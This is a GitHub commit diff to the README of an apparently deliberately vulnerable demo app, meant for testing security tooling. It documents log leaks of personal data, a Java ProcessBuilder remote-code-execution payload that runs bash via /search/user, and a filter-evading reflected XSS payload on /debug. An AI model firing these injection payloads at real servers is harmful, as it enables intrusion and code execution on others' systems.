Skip to content

Commit b4ebee9

Browse files
committed
fix URLs and RCE documentation
1 parent 6d9e99d commit b4ebee9

File tree

1 file changed

+11
-25
lines changed

1 file changed

+11
-25
lines changed

README.md

Lines changed: 11 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -19,34 +19,22 @@ Once the application starts, vulnerabilites and exposures in it can be tested wi
1919

2020
### Sensitive Data Leaks to Log
2121

22-
| URL | Purpose |
22+
| URL | Purpose |
2323
| --- | ------- |
24-
| `http://localhost:8081/customers/1` | Returns JSON representation of Customer resource based on Id (1) specified in URL |
25-
| `http://localhost:8081/customers` | Returns JSON representation of all available Customer resources |
26-
| `http://localhost:8081/patients` | Returns JSON representation of all available patients in record |
27-
| `http://localhost:8081/account/1` | Returns JSON representation of Account based on Id (1) specified |
28-
| `http://localhost:8081/account` | Returns JSON representation of all available accounts and their details |
24+
| http://localhost:8081/customers/1 | Returns JSON representation of Customer resource based on Id (1) specified in URL |
25+
| http://localhost:8081/customers | Returns JSON representation of all available Customer resources |
26+
| http://localhost:8081/patients | Returns JSON representation of all available patients in record |
27+
| http://localhost:8081/account/1 | Returns JSON representation of Account based on Id (1) specified |
28+
| http://localhost:8081/account | Returns JSON representation of all available accounts and their details |
2929

3030
All the above requests leak sensitive medical and PII data to the logging service. In addition other endpoints such as `/saveSettings`, `/search/user`, `/admin/login` etc. are also available. Along with the list above, users can explore variations of `GET`, `POST` and `PUT` requests sent to these endpoints.
3131

3232
### Remote Code Execution
3333

34-
An RCE can be triggered through the `/search/user` endpoint by sending a `POST` request as follows:
35-
```
36-
POST /search/user HTTP/1.1
37-
Host: localhost:8081
38-
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
39-
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
40-
Accept-Language: en-US,en;q=0.5
41-
Upgrade-Insecure-Requests: 1
42-
Content-Length: 86
43-
Pragma: no-cache
44-
Cache-Control: no-cache
45-
DNT: 1
46-
Connection: close
47-
48-
new java.lang.ProcessBuilder({'/bin/bash','-c','echo "3vilhax0r">/tmp/hacked'}).start()
49-
```
34+
An RCE can be triggered through the `/search/user` endpoint by sending a `GET` HTTP request as follows:
35+
36+
[http://localhost:8081/search/user?foo=new java.lang.ProcessBuilder({'/bin/bash','-c','echo 3vilhax0r>/tmp/hacked'}).start()](http://localhost:8081/search/user?foo=new%20java.lang.ProcessBuilder(%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27echo%203vilhax0r%3E%2Ftmp%2Fhacked%27%7D).start())
37+
5038
This creates a file `/tmp/hacked` with the content `3vilhax0r`
5139

5240
### Arbritary File Write
@@ -76,8 +64,6 @@ Palo Alto;January;200,000
7664

7765
A reflected XSS vulnerability exists in the application and can be triggered using the _hidden_ `/debug` endpoint as follows:
7866

79-
```
80-
http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432<scriscriptpt>alert(1)</sscriptcript>
81-
```
67+
[http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432<scriscriptpt>alert(1)</sscriptcript>](http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432<scriscriptpt>alert(1)</sscriptcript>)
8268

8369
It raises and alert dialogue and returns the Customer object data.

0 commit comments

Comments
 (0)